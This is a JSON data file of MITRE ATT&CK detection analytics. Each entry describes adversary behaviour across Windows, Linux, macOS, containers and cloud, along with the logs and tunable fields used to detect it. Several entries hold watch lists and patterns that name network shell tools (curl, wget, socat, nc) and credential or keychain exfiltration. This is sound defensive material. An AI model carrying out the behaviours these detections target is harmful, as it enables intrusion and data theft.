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            "name": "Analytic 1072",
            "description": "Adversary use of bash/zsh or AppleScript to locate files and exfil targets like user keychains or documents.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process:spawn"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "fs:fsusage",
                    "channel": "read/write"
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            ],
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                {
                    "field": "UserContext",
                    "description": "Useful for excluding known admin or scheduled jobs."
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                {
                    "field": "TargetVolume",
                    "description": "Focus monitoring on removable drives or external paths."
                }
            ],
            "x_mitre_deprecated": false
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        {
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            "name": "Analytic 0220",
            "description": "Adversary exploits Apache/Nginx/app servers. Chain: (1) suspicious requests in access logs \u2192 (2) spike of 5xx or WAF blocks \u2192 (3) web server or interpreter (apache2/nginx/php-fpm/node/python) spawns /bin/sh, curl, wget, socat, or writes webshell \u2192 (4) outbound callback.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "ApplicationLog:WebServer",
                    "channel": "/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "HTTP payloads with SQLi/LFI/JNDI/deserialization indicators"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "WebProcList",
                    "description": "server/interpreter names to watch (apache2, httpd, nginx, php-fpm, uwsgi, gunicorn, node)."
                },
                {
                    "field": "ChildToolList",
                    "description": "post-exploitation binaries (sh, bash, curl, wget, python, perl, socat, nc)."
                },
                {
                    "field": "BurstThreshold",
                    "description": "Rate of errors/requests per src_ip/uri to flag reconnaissance/exploit spray."
                },
                {
                    "field": "TimeWindow",
                    "description": "Exec/network correlation window."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1377"
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            "description": "Creation of outbound connections on alternate ports or using covert transport (e.g., ICMP, DNS) from non-network-intensive processes, following known disruption or blocked traffic.",
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                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "auditd:SYSCALL",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
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            "x_mitre_mutable_elements": [
                {
                    "field": "ProtocolType",
                    "description": "Can filter for rare fallback channel types (e.g., ICMP, DNS over HTTP)."
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                {
                    "field": "UserContext",
                    "description": "Tuning by user (e.g., root vs. service account) helps suppress noise."
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            ],
            "x_mitre_deprecated": false
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            "name": "Analytic 0772",
            "description": "Behavioral chain of a user being granted elevated privileges or roles in Entra ID or Okta following suspicious login or account creation activity.",
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            "x_mitre_version": "1.0",
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                "enterprise-attack"
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                "Identity Provider"
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                {
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                    "name": "m365:audit",
                    "channel": "Add member to role, Add app role assignment"
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                {
                    "field": "AdminRoleThreshold",
                    "description": "Number of accounts allowed to hold sensitive roles like Global Admin"
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                {
                    "field": "RoleAssignmentMethod",
                    "description": "Mechanism by which role was added (PowerShell, API, UI)"
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                {
                    "field": "GrantContext",
                    "description": "Expected user-to-role mapping defined by org policy"
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                "enterprise-attack"
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                "Network Devices"
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                    "channel": "http.log, files.log"
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                {
                    "field": "MIMEType",
                    "description": "Tune for octet-stream or mismatched Content-Type headers"
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                    "field": "PayloadSize",
                    "description": "Payload threshold for executable-sized artifacts"
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                {
                    "field": "TransferEncoding",
                    "description": "Suspicious base64 or chunked encoding not matching normal app behavior"
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                "Containers"
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
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                {
                    "field": "IngressNamespaces",
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                {
                    "field": "MetadataEndpoints",
                    "description": "Cloud metadata IPs/hostnames for exfil of credentials."
                },
                {
                    "field": "TimeWindow",
                    "description": "Join period between ingress request and pod exec/egress."
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                    "source_name": "mitre-attack",
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            "description": "Execution of SyncAppvPublishingServer.vbs through wscript.exe with a command-line containing embedded PowerShell, proxying malicious PowerShell execution through a Microsoft-signed VBScript interpreter to evade detection and restrictions.",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
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                    "field": "TimeWindow",
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                    "source_name": "mitre-attack",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "field": "CLICommandBaseline",
                    "description": "Expected command set per device role/user role combination"
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                {
                    "field": "DeviceRoleSensitivity",
                    "description": "Correlate access with core vs. edge vs. management plane sensitivity"
                },
                {
                    "field": "CommandFrequencyThreshold",
                    "description": "Detect burst usage of `show` or `debug` commands by non-admin users"
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            "x_mitre_deprecated": false,
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                "Windows"
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                    "channel": "EventCode=4688"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
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                    "channel": "EventCode=7"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=12"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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            ],
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                {
                    "field": "AssemblyPathRegex",
                    "description": "Environment-specific paths to flag (e.g., %TEMP%, Downloads, OneDrive, SMB shares). Helps suppress known-good installers."
                },
                {
                    "field": "SuspiciousFlags",
                    "description": "Arguments like /unregister (/u), /codebase, /regfile which may indicate abuse. Tune per enterprise use of regasm/regsvcs."
                },
                {
                    "field": "ParentProcessAllowList",
                    "description": "Legitimate parents (e.g., setup.exe, msiexec.exe). Analyst can prune false positives from Office or script hosts."
                },
                {
                    "field": "KnownGoodAssemblies",
                    "description": "Hashes or publisher info for approved assemblies commonly registered in the environment."
                },
                {
                    "field": "RegistryKeyAllowList",
                    "description": "Approved CLSIDs/ProgIDs written during sanctioned software installs."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window (e.g., 5\u201310 min) between file drop \u2192 regasm/regsvcs exec \u2192 registry writes \u2192 child activity."
                },
                {
                    "field": "SignedToUnsignedTransition",
                    "description": "Alert if Microsoft-signed regasm/regsvcs loads or triggers unsigned assemblies/children."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN1388"
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            "description": "Malicious macros or embedded objects hidden within Office documents by renaming streams or using hidden OLE objects. Defender view: detection of hidden macro streams or objects in documents correlated with anomalous execution.",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "Office Suite"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "Detection of hidden macro streams or SetHiddenAttribute actions"
                }
            ],
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                {
                    "field": "MacroScope",
                    "description": "Tune detection to specific Office apps and document types where macros are disallowed."
                }
            ],
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        },
        {
            "type": "x-mitre-analytic",
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            "description": "Detects enumeration of local groups using common binaries (groups, getent, cat /etc/group) or scripting with suspicious lineage.",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ProcessName",
                    "description": "Detection tuning for binaries like `groups`, `getent`, `awk`, or `cut` that may be used in pipelines."
                },
                {
                    "field": "ParentProcess",
                    "description": "Used to determine whether enumeration was triggered by a script or terminal."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0884#AN2016",
                    "external_id": "AN2016"
                }
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                    "field": "AppleEventActionType",
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                    "field": "TargetApplicationSet",
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                    "field": "ExecutionPathRegex",
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                {
                    "field": "VPNConfigWhitelist",
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                {
                    "field": "ICMPPayloadEntropy",
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                {
                    "field": "RelayChainSignature",
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            "type": "x-mitre-analytic",
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                {
                    "field": "RiskScoreThreshold",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
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                    "field": "TimeWindow",
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                    "field": "UserPaths",
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                },
                {
                    "field": "HighRiskChildren",
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                    "field": "PkgUpdaters",
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                    "field": "CloudStorageDomains",
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                {
                    "field": "ExfilVolumeThreshold",
                    "description": "Data volume threshold (e.g., >10MB in single session) used to flag abnormal transfers."
                },
                {
                    "field": "UserContext",
                    "description": "User accounts permitted to use sanctioned cloud services versus unexpected accounts."
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            ]
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            "type": "x-mitre-analytic",
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            "x_mitre_domains": [
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                    "channel": "EventCode=1"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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            ],
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                {
                    "field": "ParentProcessImage",
                    "description": "Tune to identify image editors/viewers invoking script interpreters (e.g., `mspaint.exe` > `powershell.exe`)"
                },
                {
                    "field": "MimeHeaderMismatchTolerance",
                    "description": "Adjust tolerance for image file headers that do not match file extensions or content structure"
                },
                {
                    "field": "TimeWindow",
                    "description": "Define the temporal range to correlate decoding \u2192 execution \u2192 network beaconing"
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            ]
        },
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                    "channel": "DescribeDBInstances"
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                    "field": "UserContext",
                    "description": "Identity performing the discovery operation; tuned to filter known administrative or inventory accounts."
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                {
                    "field": "GeoLocation",
                    "description": "Source region or IP of discovery requests; tuned to expected operational regions to detect unusual access."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation period to link enumeration calls with subsequent provisioning or exfiltration activity."
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                {
                    "field": "APIThreshold",
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            "name": "Analytic 0335",
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            "x_mitre_domains": [
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                    "field": "SyscallBurstCount",
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                    "field": "UserContext",
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                    "field": "TimeWindow",
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                    "field": "BaselineServiceConfig",
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                    "field": "UserContext",
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        },
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            "type": "x-mitre-analytic",
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                "PRE"
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        },
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            "name": "Analytic 1099",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
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                    "field": "SignatureEnforcement",
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        },
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            "x_mitre_deprecated": false,
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
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                    "channel": "EventCode=13, 14"
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                    "field": "ParentProcessName",
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                {
                    "field": "StartupRegistryPath",
                    "description": "May vary based on organization policy or installed software"
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            "type": "x-mitre-analytic",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "field": "MFAFailureCount",
                    "description": "Threshold of failed MFA attempts before alerting."
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                {
                    "field": "RiskScoreThreshold",
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                },
                {
                    "field": "IPGeoVelocity",
                    "description": "Detect impossible travel (logins from two distant geolocations within short time)."
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            "x_mitre_deprecated": false
        },
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "field": "DestinationIP",
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                },
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                    "field": "TimeWindow",
                    "description": "Cluster rapid test connections with command execution in < 60 seconds"
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                    "field": "UserContext",
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            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
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                    "channel": "EventCode=11"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "field": "TargetProcesses",
                    "description": "List of monitored .NET host processes (e.g., powershell.exe, w3wp.exe, svchost.exe)."
                },
                {
                    "field": "AssemblyWhitelist",
                    "description": "Known benign .NET assemblies expected to load via AppDomainManager."
                },
                {
                    "field": "ConfigFilePaths",
                    "description": "Directory paths where configuration tampering should be monitored (application directories, system32, program files)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation period between file modification of config/environment settings and subsequent anomalous module load."
                }
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            "name": "Analytic 1231",
            "description": "AppleScript, LaunchAgents, or remote login services (`ssh`, `networksetup`) establishing proxy tunnels or dynamic port forwards to external IPs or alternate local hosts.",
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                    "channel": "None"
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                {
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                    "name": "NSM:Firewall",
                    "channel": "pf firewall logs"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
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                    "field": "TargetDomain",
                    "description": "Identify suspicious domains often associated with CDN-routed or anonymized endpoints (e.g., Cloudflare, Fastly)."
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                {
                    "field": "AppleScriptUsage",
                    "description": "Alert when AppleScript or Automator tools are used for network tunneling tasks."
                },
                {
                    "field": "LaunchAgentSource",
                    "description": "Monitor for LaunchAgents executing proxy tools or dynamic ports."
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            ],
            "x_mitre_deprecated": false
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            "description": "Execution of discovery commands like `show cdp neighbors`, `show arp`, and other interface-level introspection on Cisco or Juniper devices.",
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                    "channel": "syslog facility LOCAL7 or trap messages"
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                    "field": "PrivLevel",
                    "description": "Trigger detection for privilege escalation prior to recon commands"
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            "description": "Execution of esxcli commands to enumerate datastore, configuration files, or directory structures by unauthorized or remote users.",
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            "x_mitre_domains": [
                "enterprise-attack"
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                "ESXi"
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                    "channel": "vSphere File API Access"
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                    "field": "AccessSource",
                    "description": "Limit alerting to non-vCenter or remote IPs"
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "ESXi"
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                {
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                    "description": "Identifies unusual IP destinations embedded in traffic"
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                {
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                    "description": "Used to detect uncommon protocols (e.g., DNS over HTTPS)"
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                {
                    "field": "TimeWindow",
                    "description": "Used to correlate outbound web requests with process execution"
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            "x_mitre_deprecated": false
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            "description": "Defenders may detect abuse of container administration commands by observing anomalous use of management utilities (`docker exec`, `kubectl exec`, or API calls to kubelet) correlated with unexpected process creation inside containers. Behavioral chains include unauthorized API requests followed by command execution within running pods or containers, often originating from unusual user accounts, automation scripts, or IP addresses outside the expected cluster management plane.",
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                {
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                },
                {
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                    "description": "Expected IP ranges for management actions (e.g., cluster control plane). Requests from external/unexpected ranges may indicate compromise."
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                {
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                    "description": "Defines which namespaces typically allow exec operations; anomalous activity outside these may indicate lateral movement."
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            "created": "2025-10-21T15:10:28.402Z",
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            "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_deprecated": false
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "name": "Analytic 0967",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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                    "channel": "execve"
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            ],
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                {
                    "field": "ClipboardCommand",
                    "description": "Tool used (xclip, xsel, custom clipboard-read binary)."
                },
                {
                    "field": "CorrelationWindow",
                    "description": "Temporal window to chain staging or network activity with clipboard access."
                },
                {
                    "field": "TTYLinked",
                    "description": "Was access linked to interactive user TTY?"
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            ],
            "x_mitre_deprecated": false
        },
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            "name": "Analytic 1029",
            "description": "Detection of AppCert DLL abuse involves correlating registry modifications to the AppCertDLLs key with subsequent unexpected DLL load behavior during process creation events. Specifically, defenders can observe abnormal DLLs being loaded into standard Windows processes after changes to the 'AppCertDLLs' registry value. Monitoring CreateProcess-family API executions with injected DLLs and linking those DLLs back to recent registry edits is key to identifying misuse. This is often accompanied by elevated privileges and potential lateral movement or discovery behavior.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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            ],
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                },
                {
                    "field": "ImageLoaded",
                    "description": "Loaded DLLs may differ by malware family or environment"
                },
                {
                    "field": "ParentImage",
                    "description": "Parent processes to monitor for DLL injection can be tuned to exclude known-good cases"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time correlation between registry modification and DLL load events may vary"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1239",
            "description": "Account created in a running container (e.g., via 'useradd' or by modifying /etc/passwd directly). Detectable via runtime telemetry (e.g., Falco or eBPF hooks).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "ebpf:syscalls",
                    "channel": "useradd or /etc/passwd modified inside container"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ContainerContext",
                    "description": "Distinguish between ephemeral containers and long-lived service containers"
                },
                {
                    "field": "NamespaceScope",
                    "description": "Determine if account was added inside host, user, or PID namespace"
                }
            ],
            "x_mitre_deprecated": false
        },
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                    "external_id": "AN0984"
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            "x_mitre_version": "1.0",
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            "x_mitre_platforms": [
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                    "channel": "execve"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
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                    "channel": "rename"
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                    "channel": "PassRole"
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                    "field": "TimeWindow",
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                    "field": "invokingService",
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                    "field": "INFPathRegex",
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                },
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                },
                {
                    "field": "COMInterfaceGUIDs",
                    "description": "Set of auto-elevated COM interface GUIDs to flag (e.g., CMSTPLUA, CMLUAUTIL)"
                },
                {
                    "field": "RegistryKeyAllowlist",
                    "description": "Known good registry entries for CMSTP profile registration"
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                {
                    "field": "TimeWindow",
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                    "external_id": "AN1958"
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
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                    "name": "Internet Scan",
                    "channel": "None"
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            "x_mitre_attack_spec_version": "3.3.0",
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                {
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                {
                    "field": "ScriptProcessNameList",
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                {
                    "field": "WatchedMailFiles",
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            ],
            "x_mitre_deprecated": false
        },
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4662"
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            ],
            "x_mitre_mutable_elements": [
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                    "field": "TimeWindow",
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                },
                {
                    "field": "PrivilegedUserAllowList",
                    "description": "Accounts (e.g., Helpdesk) allowed to run policy queries routinely."
                },
                {
                    "field": "HostRoleScope",
                    "description": "Limit alerts on DCs/management servers; raise on user workstations/VDI."
                },
                {
                    "field": "PS_ScriptBlockPatterns",
                    "description": "Cmdlet/function names to treat as high-signal in your environment."
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                    "external_id": "AN1358"
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            "description": "Detects abuse of UNIX domain sockets, pipes, or message queues for unauthorized code execution. Correlates unexpected socket creation with suspicious binaries, abnormal shell pipelines, or injected processes establishing IPC channels.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SocketPathBaseline",
                    "description": "Expected UNIX socket paths used by system services and applications."
                },
                {
                    "field": "FIFOAccessPatterns",
                    "description": "Legitimate processes expected to open pipes in shared directories."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--aef3d563-19f5-4d52-b7ad-4c4abadcb568",
            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0379"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0379",
            "description": "Detects unauthorized use of SMTP/IMAP/POP3 by suspicious binaries (e.g., PowerShell, rundll32) to exfiltrate data or beacon via email, often bypassing proxy or content filters.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "channel": "smtp.log"
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            ],
            "x_mitre_mutable_elements": [
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                    "field": "ProcessImageName",
                    "description": "Limit to uncommon clients (e.g., scripts or CLI tools using .NET SMTP libraries)"
                },
                {
                    "field": "DestPortFilter",
                    "description": "Typically 25, 587, 993, 995, or 465 \u2013 flag anomalies"
                },
                {
                    "field": "AttachmentType",
                    "description": "Flag suspicious attachments (e.g., .zip, .7z, .bin)"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
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                    "external_id": "AN0734"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0734",
            "description": "Detects JavaScript for Automation (JXA) via osascript or compiled scripts using OSAKit APIs. Flags execution involving system modification, inter-process scripting, or browser abuse.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
                    "name": "macos:unifiedlog",
                    "channel": "log stream with predicate 'eventMessage CONTAINS \"osascript\"'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "process_events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:syslog",
                    "channel": "/var/log/system.log"
                }
            ],
            "x_mitre_mutable_elements": [
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0129"
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            "name": "Analytic 0129",
            "description": "Execution of scripts or binaries that check for virtualization indicators (e.g., system_profiler, ioreg -l, kextstat), combined with delay functions or anomalous launchd activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "macos:unifiedlog",
                    "channel": "dynamic loading of sleep-related functions or sandbox detection libraries"
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            ],
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                {
                    "field": "ProcessCommandPattern",
                    "description": "Detection regex or substring matching sandbox-related checks"
                },
                {
                    "field": "SleepThreshold",
                    "description": "Maximum duration of sleep execution before alert (e.g., > 5 minutes)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0107#AN0300",
                    "external_id": "AN0300"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0300",
            "description": "Correlation of Mail.app logs with Safari/Chrome activity. Suspicious behavior includes email links \u2192 Safari/Chrome accessing newly registered or lookalike domains \u2192 osascript or Terminal spawned unexpectedly.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "macos:unifiedlog",
                    "channel": "Received messages with embedded or shortened URLs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Browser processes launching unexpected interpreters (osascript, bash)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "Connections to suspicious domains with mismatched certificate or unusual patterns"
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            ],
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                {
                    "field": "CertificateAnomalies",
                    "description": "Flag self-signed or mismatched TLS certificates from spearphishing domains."
                },
                {
                    "field": "ExecutionDelayThreshold",
                    "description": "Suspicious delay between URL click and malicious process spawn."
                }
            ],
            "x_mitre_deprecated": false
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            "type": "x-mitre-analytic",
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            "name": "Analytic 0961",
            "description": "Defenders may observe unauthorized modifications to encryption-related configuration files, firmware, or crypto modules on network devices. Suspicious patterns include changes to cipher suite configurations, unexpected firmware updates affecting crypto libraries, disabling of hardware cryptographic accelerators, or reductions in key length policies. Correlating configuration changes with anomalies in encrypted traffic characteristics (e.g., weaker ciphers or sudden plaintext transmission) strengthens detection.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Network Devices"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
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                {
